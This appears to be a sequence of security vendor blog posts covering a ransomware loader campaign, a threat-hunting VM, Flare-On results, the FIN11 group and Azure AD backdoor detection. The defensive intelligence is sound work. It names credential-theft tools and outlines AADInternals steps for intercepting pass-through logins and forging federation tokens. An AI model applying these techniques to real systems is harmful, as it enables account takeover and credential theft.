# Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser

Throughout 2020, ransomware activity has become increasingly prolific, relying on an ecosystem of distinct but co-enabling operations to gain access to targets of interest before conducting extortion. Mandiant Threat Intelligence has tracked several loader and backdoor campaigns that lead to the post-compromise deployment of ransomware, sometimes within 24 hours of initial compromise. Effective and fast detection of these campaigns is key to mitigating this threat.

The malware families enabling these attacks previously reported by Mandiant to intelligence subscribers include KEGTAP/BEERBOT, SINGLEMALT/STILLBOT and WINEKEY/CORKBOT. While these malware families communicate with the same command and control infrastructure (C2) and are close to functional parity, there are minimal code overlaps across them. Other security researchers have tracked these malware families under the names BazarLoader and BazarBackdoor or Team9.

The operators conducting these campaigns have actively targeted hospitals, retirement communities, and medical centers, even in the midst of a global health crisis, demonstrating a clear disregard for human life.

#### Email Campaign TTPs

Campaigns distributing KEGTAP, SINGLEMALT and WINEKEY have been sent to individuals at organizations across a broad range of industries and geographies using a series of shifting delivery tactics, techniques and procedures (TTPs). Despite the frequent changes seen across these campaigns, the following has remained consistent across recent activity:

• Emails contain an in-line link to an actor-controlled Google Docs document, typically a PDF file.
• This document contains an in-line link to a URL hosting a malware payload.
• Emails masquerade as generic corporate communications, including follow-ups about documents and phone calls or emails crafted to appear related to complaints, terminations, bonuses, contracts, working schedules, surveys or queries about business hours.
• Some email communications have included the recipient’s name or employer name in the subject line and/or email body.

Despite this uniformity, the associated TTPs have otherwise changed regularly—both between campaigns and across multiple spam runs seen in the same day. Notable ways that these campaigns have varied over time include:

• Early campaigns were delivered via Sendgrid and included in-line links to Sendgrid URLs that would redirect users to attacker-created Google documents. In contrast, recent campaigns have been delivered via attacker-controlled or compromised email infrastructure and have commonly contained in-line links to attacker-created Google documents, although they have also used links associated with the Constant Contact service.
• The documents loaded by these in-line links are crafted to appear somewhat relevant to the theme of the email campaign and contain additional links along with instructions directing users to click on them. When clicked, these links download malware binaries with file names masquerading as document files. Across earlier campaigns these malware binaries were hosted on compromised infrastructure, however, the attackers have shifted to hosting their malware on legitimate web services, including Google Drive, Basecamp, Slack, Trello, Yougile, and JetBrains.
• In recent campaigns, the malware payloads have been hosted on numerous URLs associated with one or more of these legitimate services. In cases where the payloads have been taken down, the actors have sometimes updated their Google documents to contain new, working links.
• Some campaigns have also incorporated customization, including emails with internal references to the recipients’ organizations (Figure 1) and organizations’ logos embedded into the Google Docs documents (Figure 2).

Figure 1: Email containing internal references to target an organization’s name

Figure 2: Google Docs PDF document containing a target organization’s logo

Hiding the final payload behind multiple links is a simple yet effective way to bypass some email filtering technologies. Various technologies have the ability to follow links in an email to try to identify malware or malicious domains; however, the number of links followed can vary. Additionally, embedding links within a PDF document further makes automated detection and link-following difficult.

#### Post-Compromise TTPs

Given the possibility that accesses obtained from these campaigns may be provided to various operators to monetize, the latter-stage TTPs, including ransomware family deployed, may vary across intrusions. A notable majority of cases where Mandiant has had visibility into these post-compromise TTPs have been attributable to UNC1878, a financially motivated actor that monetizes network access via the deployment of RYUK ransomware.

Establish Foothold

Once the loader and backdoor have been executed on the initial victim host, the actors have used this initial backdoor to download POWERTRICK and/or Cobalt Strike BEACON payloads to establish a foothold. Notably, the respective loader and backdoor as well as POWERTRICK have typically been installed on a small number of hosts in observed incidents, suggesting these payloads may be reserved for establishing a foothold and performing initial network and host reconnaissance. However, BEACON is frequently found on a larger number of hosts and used throughout various stages of the attack lifecycle.

Maintain Presence

Beyond the preliminary phases of each intrusion, we have seen variations in how these attackers have maintained presence after establishing an initial foothold or moving laterally within a network. In addition to the use of common post-exploitation frameworks such as Cobalt Strike, Metasploit and EMPIRE, we have observed the use of other backdoors, including ANCHOR, that we also believe to be under control of the actors behind TrickBot.

• The loaders associated with this activity can maintain persistence through reboot by using at least four different techniques, including creating a scheduled task, adding itself to the startup folder as a shortcut, creating a scheduled Microsoft BITS job using /setnotifycmdline, and adding itself to the Userinit value under the following registry key:
• HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon.
• Actors have downloaded POWERTRICK, Metasploit Meterpreter, and Cobalt Strike BEACON payloads following the initial compromise. BEACON payloads have commonly been executed after moving laterally to new hosts within the victim network. The attackers have employed Cobalt Strike payloads crafted to maintain persistence through reboot via a scheduled task on critical systems in victim environments. Notably, BEACON is the backdoor observed most frequently across these incidents.
• We have observed actors executing encoded PowerShell commands that ultimately executed instances of the PowerShell EMPIRE backdoor.
• The actors were observed using BEACON to execute PowerLurk's Register-MaliciousWmiEvent cmdlet to register WMI events used to kill processes related to security tools and utilities, including Task Manager, WireShark, TCPView, ProcDump, Process Explorer, Process Monitor, NetStat, PSLoggedOn, LogonSessions, Process Hacker, Autoruns, AutorunsSC, RegEdit, and RegShot.
• In at least once case, attackers have maintained access to a victim environment using stolen credentials to access corporate VPN infrastructure configured to require only single-factor authentication.

Escalate Privileges

The most commonly observed methods for escalating privileges in these incidents have involved the use of valid credentials. The actors used a variety of techniques for accessing credentials stored in memory or on disk to access privileged accounts.

• The actors used valid credentials obtained using MimiKatz variants to escalate privileges. We’ve observed Mimikatz being executed both from the file system of victim hosts and via PowerShell cmdlets executed via Cobalt Strike BEACON.
• Actors have gained access to credentials via exported copies of the ntds.dit Active Directory database and SYSTEM and SECURITY registry hives from a Domain Controller.
• In multiple instances, the actors have launched attacks against Kerberos, including the use of RUBEUS, the MimiKatz Kerberos module, and the Invoke-Kerberoast cmdlet.

Reconnaissance

The approaches taken to perform host and network reconnaissance across these incidents varied; however, a significant portion of observed reconnaissance activity has revolved around Activity Directory enumeration using publicly available utilities such as BLOODHOUND, SHARPHOUND or ADFind, as well as the execution of PowerShell cmdlets using Cobalt Strike BEACON.

• BEACON has been installed on a large number of systems across these intrusions and has been used to execute various reconnaissance commands including both built-in host commands and PowerShell cmdlets. Observed PowerShell cmdlets include:
• Invoke-AllChecks
• Invoke-BloodHound
• Invoke-EternalBlue
• Invoke-FileFinder
• Invoke-HostRecon
• Invoke-Inveigh
• Invoke-Kerberoast
• Invoke-mimikittenz
• Invoke-ShareFinder
• Invoke-UserHunter
• Mandiant has observed actors using POWERTRICK to execute built-in system commands on the initial victim host, including ipconfigfindstr, and cmd.exe.
• The actors leveraged publicly available utilities Adfind, BLOODHOUND, SHARPHOUND, and KERBRUTE on victim networks to collect Active Directory information and credentials.
• WMIC commands have been used to perform host reconnaissance, including listing installed software, listing running processes, and identifying operating system and system architecture.
• The actors have used a batch script to ping all servers identified during Active Directory enumeration and output the results to res.txt
• The actors used the Nltest command to list domain controllers.

Lateral Movement

Lateral movement was most commonly accomplished using valid credentials in combination with Cobalt Strike BEACON, RDP and SMB, or using the same backdoors used to establish a foothold in victim networks.

• The actors have regularly leveraged Cobalt Strike BEACON and Metasploit Meterpreter to move laterally within victim environments.
• The actors commonly moved laterally within victim environments using compromised accounts—both those belonging to regular users and accounts with administrative privileges. In addition to the use of common post-exploitation frameworks, lateral movement has also been achieved using WMIC commands and the Windows RDP and SMB protocols.
• The actors used the Windows net use command to connect to Windows admin shares to move laterally.

Complete Mission

Mandiant is directly aware of incidents involving KEGTAP that included the post-compromise deployment of RYUK ransomware. We have also observed instances where ANCHOR infections, another backdoor associated with the same actors, preceded CONTI or MAZE deployment.

• In at least one case, an executable was observed that was designed to exfiltrate files via SFTP to an attacker-controlled server.
• The actors have used Cobalt Strike BEACON to exfiltrate data created through network reconnaissance activities as well as user files.
• The actors were observed deleting their tools from victim hosts in an attempt to remove indicators of compromise.
• The actors have used their access to the victim network to deploy ransomware payloads. There is evidence to suggest that RYUK ransomware was likely deployed via PsExec, but other scripts or artifacts related to the distribution process were not available for forensic analysis.

#### Hunting Strategies

If an organization identifies a host with an active infection believed to be an instance of KEGTAP or a parallel malware family, the following containment actions are recommended. Note that due to the velocity of this intrusion activity, these actions should be taken in parallel.

• Isolate and perform a forensic review of any impacted systems.
• Review incoming emails to the user that owns the impacted device for emails matching the distribution campaigns, and take action to remove the messages from all mailboxes.
• Identify the URLs used by the phishing campaign and block them using proxy or network security devices.
• Reset credentials for any user accounts associated with execution of the malware.
• Perform an enterprise wide review for lateral movement authentication from the impacted systems.
• Check authentication logs from any single-factor remote access solutions that may exist (VPN, VDI, etc) and move towards multi-factor authentication (MFA) as soon as possible.

An enterprise-wide effort should be made to identify host-based artifacts related to the execution of first-stage malware and all post-intrusion activity associated with this activity. Some baseline approaches to this have been captured as follows.

Activity associated with the KEGTAP loader can often be identified via a review of system startup folders and Userinit values under the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon registry key.

Figure 3: Example LNK file associated with KEGTAP persistence within a system’s startup folders

SINGLEMALT employs BITS to maintain persistence through reboot and can often be identified via a review of anomalous BITS jobs. SINGLEMALT uses a well-documented BITS persistence mechanism that intentionally creates a job to download a non-existent URL, which will trigger a failure event. The job is set to retry on a regular interval, thus ensuring the malware continues to run. To review the BITS job on a host run the command bitsadmin /list.

• Display name may be “Adobe Update”, “System autoupdate” or another generic value.
• Notify state may be set to Fail (Status 2).
• FileList URL value may be set to the local host or a URL that does not exist.
• The Notification Command Line value may contain the path to the SINGLEMALT sample and/or a command to move it to a new location then start it.
• The Retry Delay value will be set.

WINEKEY maintains persistence through reboot via the use of registry RUN keys. Searching for anomalous RUN keys enterprise-wide can help to identify systems impacted by this malware.

 Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Backup Mgr Value: Path to the backdoor

Figure 4: Example registry RUN key used by WINEKEY to maintain persistence

The ANCHOR backdoor has been seen across a subset of intrusions associated with this activity and can often be identified via the scheduled tasks it uses to maintain persistence through reboot. The scheduled tasks created by ANCHOR are often unnamed, although that is not always the case.

• The identification of named scheduled tasks associated with ANCHOR persistence may be constructed according to the following pattern: <Random directory within %APPDATA%> autoupdate#<random number>.
• All unnamed scheduled tasks should be reviewed, particularly those with a creation date consistent with the time of the suspected compromise.

Although it is a low fidelity indicator, ANCHOR activity may also sometimes be identified by searching for binaries within the C:\Windows\SysWOW64 directory that have a file name matching the following pattern: <8 random lowercase chars>.exe. Stacking or sorting on file creation timestamps in the C:\Windows\SysWOW64 directory may also help identify malicious files, as the directory should be mostly static.

Post-exploitation activity associated with the deployment of ransomware following these campaigns is typically conducted using the Cobalt Strike attack framework. The BEACON payload associated with Cobalt Strike can often be identified via a review of existing registered services and service creation events (Event ID 7045), both markers of the mechanism it most commonly employs to maintain persistence.

The following are additional strategies that may aid in identifying associated activity:

• Organizations can review web proxy logs in order to identify HXXP requests for file storage, project management, collaboration or communication services with a referrer from a Google Docs document.

#### Detecting the Techniques

FireEye detects this activity across our platforms. The following table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.

# Welcome to ThreatPursuit VM: A Threat Intelligence and Hunting Virtual Machine

Skilled adversaries can deceive detection and often employ new measures in their tradecraft. Keeping a stringent focus on the lifecycle and evolution of adversaries allows analysts to devise new detection mechanisms and response processes. Access to the appropriate tooling and resources is critical to discover these threats within a timely and accurate manner. Therefore, we are actively compiling the most essential software packages into a Windows-based distribution: ThreatPursuit VM.

ThreatPursuit Virtual Machine (VM) is a fully customizable, open-sourced Windows-based distribution focused on threat intelligence analysis and hunting designed for intel and malware analysts as well as threat hunters to get up and running quickly. The threat intelligence analyst role is a subset and specialized member of the blue team. Individuals in this role generally have a strong impetus for knowing the threat environment. Often their traits, skills and experiences will vary depending on training and subject matter expertise.

Their expertise may not be technical and may include experiences and tradecraft earned by operating within a different domain (e.g., geospatial, criminal, signals intelligence, etc.). A key aspect of the role may include the requirement to hunt, study and triage previously undiscovered or recently emerging threats by discerning data for evil. Threat analysts apply a variety of structured analytical methods in order to develop meaningful and relevant products for their customers.

With this distribution we aim to enable users to:

• Conduct hunting activities or missions
• Create adversarial playbooks using evidence-based knowledge
• Develop and apply a range of analytical products amongst datasets
• Perform analytical pivoting across forensic artifacts and elements
• Enable situational awareness through intelligence sharing and reporting
• Applied data science techniques & visualize clusters of symbolic data
• Leverage open intelligence sources to provide unique insights for defense and offense

Akin to both FLARE-VM and Commando VM, ThreatPursuit VM uses Boxstarter, Chocolatey and MyGet packages to install software that facilitates the many aspects related to roles performed by analysts. The tools installed provide easy access to a broad range of tooling, including, but not limited to, threat analytics, statistics, visualisation, threat hunting, malware triage, adversarial emulation, and threat modelling. Here are some of the tools, but there are many more:

#### Installation

Similar to FLARE-VM and Commando VM, it's recommended to install ThreatPursuit VM in a virtual machine. The following is an overview of the minimal and recommended installation requirements.

##### Requirements
• Windows 10 1903 or greater
• 60 GB Hard Drive
• 4 GB RAM
##### Recommended
• Windows 10 1903
• 80+ GB Hard Drive
• 6+ GB RAM
• OpenGL Graphics Card 1024mb
• Enable Virtualization support for VM
• Required for Docker (MISP, OpenCTI)
##### Standard Install

The easiest way to install ThreatPursuit VM is to use the following steps. This will install all the default tools and get you finding evil in no time!

1. Create and configure a new Windows 10 VM with the aforementioned requirements.
• Ensure VM is updated completely. You may need to check for updates, reboot and check again until no more remain.
2. Install your specific VM guest tools (e.g., VMware Tools) to allow additional features such as copy/paste and screen resizing.
3. Take a snapshot of your machine! This allows you to always have a clean state.
5. Open PowerShell as an administrator.

Next, unblock the install file by running: Unblock-File .\install.ps1, as seen in Figure 1.

Figure 1: Unblock-File installation script

Enable script execution by running: Set-ExecutionPolicy Unrestricted -f , as seen in Figure 2.

Figure 2: Set-ExecutionPolicy Unrestricted -f script

Finally, execute the installer script as follows: .\install.ps1

After executing install.ps1, you’ll be prompted for the administrator password in order to automate host restarts during installation as several reboots occur. Optionally, you may pass your password as a command-line argument via ".\install.ps1 -password <password>". If you do not have a password set, hitting enter when prompted will also work.

This will be the last thing you will need to do before the installation is unattended. The script will set up the Boxstarter environment and proceed to download and install the ThreatPursuit VM environment, as seen in Figure 3.

Figure 3: Installation script execution

The installation process may take upwards of several hours depending on your internet connection speed and the web servers hosting the various files. Figure 4 shows the post-installation desktop environment, featuring the logo and a desktop shortcut. You will know when the install is finished with the VM's logo placed on the background.

Figure 4: ThreatPursuit VM desktop installed

##### Custom Install

Is the standard installation too much for you? We provide a custom installation method that allows you to choose which chocolatey packages get installed. For additional details, see the Custom Install steps at our GitHub repository.

Since ThreatPursuit VM uses the Chocolatey Windows package manager, it's easy to install additional packages not included by default. For example, entering the command cinst github as administrator installs GitHub Desktop on your system.

To update all currently installed packages to their most recent versions, run the command cup all as administrator.

#### Getting Started: A Use Case

As threat analysts, what we choose to pursue will depend on the priorities and requirements of our current role. Often, they vary with each threat or adversary encountered such as financial crime, espionage, issue-motivated groups or individuals. The role broadly encompasses the collection and analysis of threat data (e.g., malware, indicators of attack/compromise) with the goal of triaging the data and developing actionable intelligence. For example, one may want to produce detection signatures based on malware network communications to classify, share or disseminate indicators of compromise (IOCs) in standardized ways. We may also use these IOCs in order to develop and apply analytical products that establish clusters of analogous nodes such as MITRE ATT&CK tactics and techniques, or APT groups. On the other hand, our goal can be as simple as triaging a malware sample behavior, hunting for indicators, or proving or disproving a hypothesis. Let's look at how we might start.

#### Open Hunting

To start our use case, let’s say we are interested in reviewing latest threat actor activity reported for the quarter. We sign in to the Mandiant Advantage portal (Figure 5) using our public subscription to get a snapshot view of any highlighted activity (Figure 6).

Figure 6: Actor activity for Q3 2020

Based on Mandiant Advantage report, we notice a number of highly active APT and FIN actors. We choose to drill in to one of these actors by hovering our mouse and selecting the actor tag FIN11.

We receive a high-level snapshot summary view of the threat actor, their targeted industry verticals, associated reports and much more, as seen in Figure 7. We also may choose to select the most recent report associated with FIN11 for review.

Figure 7: FIN11 actor summary

By selecting the “View Full Page” button as seen at the top right corner of Figure 6, we can use the feature to download indicators, as seen in the top right corner of Figure 8.

Figure 8: Full FIN11 page

Within the FIN11 report, we review the associated threat intelligence tags that contain finished intelligence products. However, we are interested in the collection of raw IOCs (Figure 9) that we could leverage to pivot off or enrich our own datasets.

Using the Malware Information Sharing Platform (MISP)as our collection point, we are going to upload and triage our indicators using our local MISP instance running on ThreatPursuit VM.

Please note you will need to ensure your local MISP instance is running correctly with the configuration of your choosing. We select the “Add Event” button, begin populating all needed fields to prepare our import, and then click “Submit”, as shown in Figure 10.

Figure 10: MISP triage of events

Under the tags section of our newly created FIN11 event, we apply relevant tags to begin associating aspects of contextual information related to our target, as seen in Figure 11.

Figure 11: MISP Event setup for FIN11

We then select “Add Attribute” into our event, which will allow us to import our MD5 hashes into the MISP galaxy, as seen in Figure 12. Using both the category and type, we select the appropriate values that best represent our dataset and prepare to submit that data into our event.

Figure 12: MISP import events into FIN11 event

MISP allows for a streamlined way to drill and tag indicators as well as enrich and pivot with threat intelligence. We can also choose to perform this enrichment process within MISP using a variety of open intelligence sources and their modules, such as Mandiant Advantage, PassiveTotal, Shodan and VirusTotal. We can also achieve the same result using similar tools already packaged in ThreatPursuit VM.

Using Maltego CE, installed as part of the VM, we can automate aspects of targeted collection and analysis of our FIN11 malware families and associated infrastructure. The following are just some of the Maltego plugins that can be configured post installation to help with the enrichment and collection process:

Targeting the suspected payload, we attempt to pivot using its MD5 hash value (113dd1e3caa47b5a6438069b15127707) to discover additional artifacts, such as infrastructure, domain record history, previously triaged reports, similar malware samples, timestamps, and the rich headers.

Importing our hash into Maltego CE, we can proceed to perform a range of queries to hunt and retrieve interesting information related to our FIN11 malware, as seen in Figure 13.

Figure 13: Maltego CE querying MD5 hash

Quite quickly we pull back indicators; in this case, generic named detection signatures from a range of anti-malware vendors. Using VirusTotalAPI Public, we perform a series of collection and triage queries across a variety of configured open sources, as shown in Figure 14.

Figure 14: Automating enrichment and analysis of targeted infrastructure

With our newly identified information obtained by passively scraping those IOCs from a variety of data providers, we can identify additional hashes, delivery URLs and web command and control locations, as shown in Figure 15.

Figure 15: Maltego visualization of FIN11 dropper

Pivoting on the suspected FIN11 delivery domain near-fast[.]com, we have found several more samples that were uploaded to an online malware sandbox website AppAnyRun. Within the ThreatPursuit VM Google Chrome browser and in the Tools directory, there are shortcuts and bookmarks to a range of sandboxes to help with accessing and searching them quickly. We can use AppAnyRun to further analyze the heterogenous networks and execution behaviors of these acquired samples.

We have identified another similar sample, which is an XLS document named “MONITIORING REPORT.xls” with the MD5 hash 5d7d2371668ad4a6484f76b0b6511961 (Figure 16). Let’s attempt to triage this newly discovered sample and qualify the relationship back to FIN11.

Figure 16: VirusTotal execution report of 5d7d2371668ad4a6484f76b0b6511961

Extracting interesting strings and indicators from this sample allows us to compare these artifacts against our own dynamic analysis. If we can’t access the original malware sample, but we have other indicators to hunt with, we could also pivot on various unique characteristics and attributes (e.g., imphash, vthash, pdb string, etc...) to discover related samples.

Even without access to the sample, we can also use YARA to mine for similar malware samples. One such source to mine is using the mquery tool and their datasets offered via CERT.PL. To fast track the creation of a YARA rule, we leverage the FIN11 YARA rule provided within the FIN11 Mandiant Advantage report. Simply copy and paste the YARA rule into mquery page and select “Query” to perform the search (Figure 17). It may take some time, so be sure to check back later (here are the results).

Figure 17: mquery YARA rule hunting search for FIN11 malware

Within our mquery search, we find a generic signature hit on Win32_Spoonbeard_1_beta for the MD5 hash 3c43d080b5badfdde7aff732c066d1b2. We associate this MD5 hash with another sandbox, app.any.run, at the following URL:

As seen in Figure 18, this sample was first uploaded on May 2, 2019, with an associated infection chain intact.

Figure 18: AppAnyRun Execution Report on 3c43d080b5badfdde7aff732c066d1b2

We now have a confident signature hit, but with different named detections on the malware family. This is a common challenge for threat analysts and researchers. However we have gained interesting information about the malware itself such as its execution behavior, encryption methods, dropped files, timelines and command and control server and beacon information. This is more than enough for us to pivot across our own datasets to hunt for previously seen activities and prepare to finalize our report.

Once we are confident in our analysis, we can start to model and attribute the malware characteristics. We can leverage other threat exchange communities and intelligence sources to further enrich the information we collected on the sample. Enrichment allows the analysts to greater extrapolate context such as timings, malware similarity, associated infrastructures, and prior targeting information. We will briefly add our content into our MISP instance and apply tags to finalize our review.

We may wish to add MITRE ATT&CK tags (Figure 19) relevant across the malware infection chain for our sample as they could be useful from a modelling standpoint.

Figure 19: MITRE ATT&CK tags for the malware sample

#### Final Thoughts

We hope you enjoyed this basic malware triage workflow use-case using ThreatPursuit VM. There are so many more tools and capabilities within the included toolset such as Machine learning (ML) and ML algorithms, that also assist threat hunters by analyzing large volumes of data quickly. Check out some of FireEye’s ML blog posts here.

For a complete list of tools please see the ThreatPursuit VM GitHub repository. We look forward to releasing more blog posts, content and playbooks as our user base grows.

And finally, here are some related articles that might be of interest.

# Flare-On 7 Challenge Solutions

We are thrilled to announce the conclusion of the seventh annual Flare-On challenge. This year proved to be the most difficult challenge we’ve produced, with the lowest rate of finishers. This year’s winners are truly the elite of the elite! Lucky for them, all 260 winners will receive this cyberpunk metal key.

We would like to thank the challenge authors individually for their great puzzles and solutions:

1. fidler – Nick Harbour (@nickharbour)
2. garbage – Jon Erickson
3. Wednesday – Blaine Stancill (@MalwareMechanic)
4. report – Moritz Raabe (@m_r_tz)
5. TKApp – Moritz Raabe (@m_r_tz)
6. CodeIt – Mike Hunhoff (@mehunhoff)
7. re_crowd – Chris Gardner, Moritz Raabe, Blaine Stancill
8. Aardvark – Jacob Thompson
9. crackinstaller – Paul Tarter (@Hefrpidge)
10. break – Chris Gardner
11. Rabbit Hole – Sandor Nemes (@sandornemes)

This year’s Flare-On challenge was the first to feature a live public scoreboard, so players could track their progress and the progress of previous Flare-On challenge champions. Despite this increased data at your fingertips, we are still going to bring you even more stats. As of 11:00am ET, participation was near record setting levels at 5,648 players registered. 3,574 of those players finished at least one challenge.

The U.S. reclaimed the top spot for total finishers with 22. Singapore was once again in second place, but in uncontested first place per capita, with one Flare-On finisher for every 296,000 living persons in Singapore. This is the first year we have included a per capita finishers by country chart, and we did it to highlight just what a remarkable concentration of talent exists in some corners of the world. Consistent top finisher Russia took third place, and a growing player base in Germany and Israel came into full bloom this year, with those countries edging out other frequent top five countries such as China, India and Vietnam.

All the binaries from this year’s challenge are now posted on the Flare-On website. Here are the solutions written by each challenge author:

# FIN11: Widespread Email Campaigns as Precursor for Ransomware and Data Theft

Mandiant Threat Intelligence recently promoted a threat cluster to a named FIN (or financially motivated) threat group for the first time since 2017. We have detailed FIN11's various tactics, techniques and procedures in a report that is available now by signing up for Mandiant Advantage Free.

In some ways, FIN11 is reminiscent of APT1; they are notable not for their sophistication, but for their sheer volume of activity. There are significant gaps in FIN11’s phishing operations, but when active, the group conducts up to five high-volume campaigns a week. While many financially motivated threat groups are short lived, FIN11 has been conducting these widespread phishing campaigns since at least 2016. From 2017 through 2018, the threat group primarily targeted organizations in the financial, retail, and hospitality sectors. However, in 2019 FIN11’s targeting expanded to include a diverse set of sectors and geographic regions. At this point, it would be difficult to name a client that FIN11 hasn’t targeted.

Mandiant has also responded to numerous FIN11 intrusions, but we’ve only observed the group successfully monetize access in few instances. This could suggest that the actors cast a wide net during their phishing operations, then choose which victims to further exploit based on characteristics such as sector, geolocation or perceived security posture. Recently, FIN11 has deployed CLOP ransomware and threatened to publish exfiltrated data to pressure victims into paying ransom demands. The group’s shifting monetization methods—from point-of-sale (POS) malware in 2018, to ransomware in 2019, and hybrid extortion in 2020—is part of a larger trend in which criminal actors have increasingly focused on post-compromise ransomware deployment and data theft extortion.

Notably, FIN11 includes a subset of the activity security researchers call TA505, but we do not attribute TA505’s early operations to FIN11 and caution against using the names interchangeably. Attribution of both historic TA505 activity and more recent FIN11 activity is complicated by the actors’ use of criminal service providers. Like most financially motivated actors, FIN11 doesn’t operate in a vacuum. We believe that the group has used services that provide anonymous domain registration, bulletproof hosting, code signing certificates, and private or semi-private malware. Outsourcing work to these criminal service providers likely enables FIN11 to increase the scale and sophistication of their operations.

To learn more about FIN11’s evolving delivery tactics, use of services, post-compromise TTPs, and monetization methods, register for Mandiant Advantage Free. The full FIN11 report is also available through our FireEye Intelligence Portal (FIP). Then for even more information, register for our exclusive webinar on Oct. 29 where Mandiant threat intelligence experts will take a deeper dive into FIN11, including its origins, tactics, and potential for future activity.

# Detecting Microsoft 365 and Azure Active Directory Backdoors

Mandiant has seen an uptick in incidents involving Microsoft 365 (M365) and Azure Active Directory (Azure AD). Most of these incidents are the result of a phishing email coercing a user to enter their credentials used for accessing M365 into a phishing site. Other incidents have been a result of password spraying, password stuffing, or simple brute force attempts against M365 tenants. In almost all of these incidents, the user or account was not protected by multi-factor authentication (MFA).

These opportunistic attacks are certainly the most common form of compromise for M365 and Azure AD, and are usually the initial vector to establish persistence. During both incident response (IR) engagements and proactive cloud assessments we are often asked:

• What are some other types of attacks that Mandiant is seeing against M365 and Azure AD?
• Is it possible for an on-premises compromise to “vertically” move to M365 and Azure AD?
• If a global administrator account is compromised, is it possible to maintain persistence even after the compromised account has been detected, a password reset has occurred, and MFA has been applied?

In some incidents, Mandiant has witnessed attackers utilizing a PowerShell module called AADInternals, which can allow an attacker to vertically move from on-premises to Azure AD, establish backdoors, steal passwords, generate user security tokens, and bypass MFA protections. This PowerShell module has allowed attackers to maintain persistence in the tenant even after initial eradication efforts were conducted.

To see this module in action and understand how it works, Dr. Nestori Syynimaa’s PSCONFEU 2020 presentation, Abusing Azure Active Directory: Who would you like to be today?, provides an in-depth overview of the module.

To detect the use of AADInternals, it is important to understand how some of these attacks work. Once an understanding is established, abnormal usage can be detected through a combination of log analysis and host-based indicators.

#### Backdoor 1: Abusing Pass-Through Authentication

Attacker Requirements

Or

The AADInternals PowerShell module contains a function called Install-AADIntPTASPY. The function works by inserting itself as a man-in-the-middle within the Pass-through Authentication (PTA) process that occurs between Azure AD and the server running the PTA Agent in the on-premises environment. Commonly, the PTA Agent runs on the same on-premises server as Azure AD Connect (AAD Connect).

When PTA is enabled, every logon that occurs against Azure AD gets redirected to the PTA Agent on-premises. The PTA Agent asks an on-premises Active Directory Domain Controller if a password is valid for an authenticating account. If valid, the PTA Agent responds back to Azure AD to grant the requestor access. Figure 1 provides the workflow of Pass-through Authentication and where AADInternals can intercept the request.

Figure 1: Pass-through Authentication workflow

Additionally, all password attempts that are registered by the AADIntPTASpy module are recorded within a log file on the server (Default location: C:\PTASpy\PTASPy.csv). Figure 2 shows how the log file can be decoded to reveal a user’s password in cleartext.

Not only will this function allow an attacker to login as any user who authenticates via PTA, but it will also act as a repository for collecting user passwords who are legitimately logging into Azure AD. This could allow an attacker to pivot their attack to other areas of the network—or use these credentials against other internet accessible portals that may leverage single-factor authentication (e.g., VPN gateway).

An attacker can use this module in one of two ways:

Method 1: On-Premises Compromise

An attacker has gained access to an on-premises domain and is able to laterally move to the AADConnect / PTA Agent Server. From this server, an attacker can potentially leverage the AADInternals PowerShell module and invoke the Install-AADIntPTASpy function.

Method 2: Cloud Compromise

If an attacker has successfully compromised an Azure AD global admin account, an attack can be conducted from an attacker’s own infrastructure. An attacker can install a PTA Agent on a server they manage and register the agent using the compromised global administrator account (Figure 3).

Figure 3: Azure AD Portal—registered Pass-through Authentication agents

Once registered with Azure AD, the rogue server will begin to intercept and authorize all login attempts. As with Method 1, this server can also be used to harvest valid credentials.

#### Backdoor 2: Abusing Identity Federation

Attacker Requirements

Or

Another method of authenticating to M365 is through the usage of federation services. When a M365 domain is configured as a federated domain, a trust is configured between M365 and an external identify provider. In many cases, this trust is established with an Active Directory Federation Services (ADFS) server for an on-premises Active Directory domain.

Once a trust is established, when a user logs into M365 using a federated domain, their request is redirected to the external identify provider (ADFS) where their authentication is validated (Figure 4). Once validated, the ADFS server provides the user a security token. This token is then trusted by M365 and grants the access to the platform.

Figure 4: Microsoft 365 Federation Sign-in workflow

AADInternals has a PowerShell function to craft security tokens, which mimics the ADFS authentication process. When providing the function a valid UserPrincipalName, Immutable ID and IssuerURI, an attacker can generate a security token as any user of the tenant. What’s even more concerning is that once this security token is generated, this can allow an attacker to bypass MFA.

As with Backdoor 1, this attack can either be performed from a compromised on-premises environment or from an attacker’s own infrastructure.

Method 1: On-Premises Compromise

Once an attacker has gained access to an on-premises domain with elevated access, they can begin to collect the required information to craft their own security tokens to backdoor into M365 as any user. An attacker will require:

• A valid UserPrincipalName and Immutable.
• Both of these attributes can be pulled from the on-premises Active Directory domain.
• This can be obtained from an ADFS server when directly logged into the server or remotely querying the server via an privileged account.

Once an attacker has collected the necessary information, using the AADInternals Open-AADIntOffice365Portal command, a security token for the user can be generated granting an attacker access to M365 (Figure 5).

Method 2: Cloud Compromise

If an attacker has a compromised an M365 Global Administrator account, using their own infrastructure, an attacker can use their administrative access to collect user information and reconfigure the tenant to establish their backdoor. In this method, an attacker will require:

• A valid UserPrincipalName and valid ImmutableId.
• Figure 6 shows how the Get-MsolUser command can obtain a user’s ImmutableId from Azure AD.

Figure 6: Get-MsolUser—list user UPN & ImmutableId

• IssuerURI
• This can be obtained by converting a managed domain to a federated domain. Figures 7 through 10 show how the AADInternals ConvertTo-AADIntBackdoor command (Figure 8) can be used to allow attacker to register their own IssuerURI for a federated domain.

Figure 7: Get-msoldomain—list of registered domains and authentication

Figure 8: ConvertTo-AADIntBackdoor—convert domain to federated authentication

Figure 9: Changed authentication method

Figure 10: Azure AD Portal registered domains

Note: To not interrupt production and authentication with an existing federated domain (and to remain undetected), an attacker may opt to register a new domain with the tenant.

Once an attacker has properly configured the tenant, using the ImmutableId of any user, a security token can be generated by executing the Open-AADIntOffice365Portal command (Figure 11). This will allow an attacker to login as that user without the need for a valid certificate or a legitimate IssuerURI.

Fortunately for defenders, this method will generate a number of events in the unified audit log, which can be leveraged for monitoring and alerting.

#### Mitigation and Detection

Once persistence is established, it can be extremely difficult to detect login activity that is utilizing one of the previously described methods. In lieu of this, it is recommended to monitor and alert on M365 unified audit logs and Azure AD sign-in activity to detect anomalous activity.

#### Detection in FireEye Helix

Being that Mandiant has seen this methodology being used in the wild, we felt it was necessary to build these detections into our FireEye Helix security platform. Helix engineers have created sever new detection rules that monitor for detectable activity of an attacker making use of the AADInternals PowerShell module.

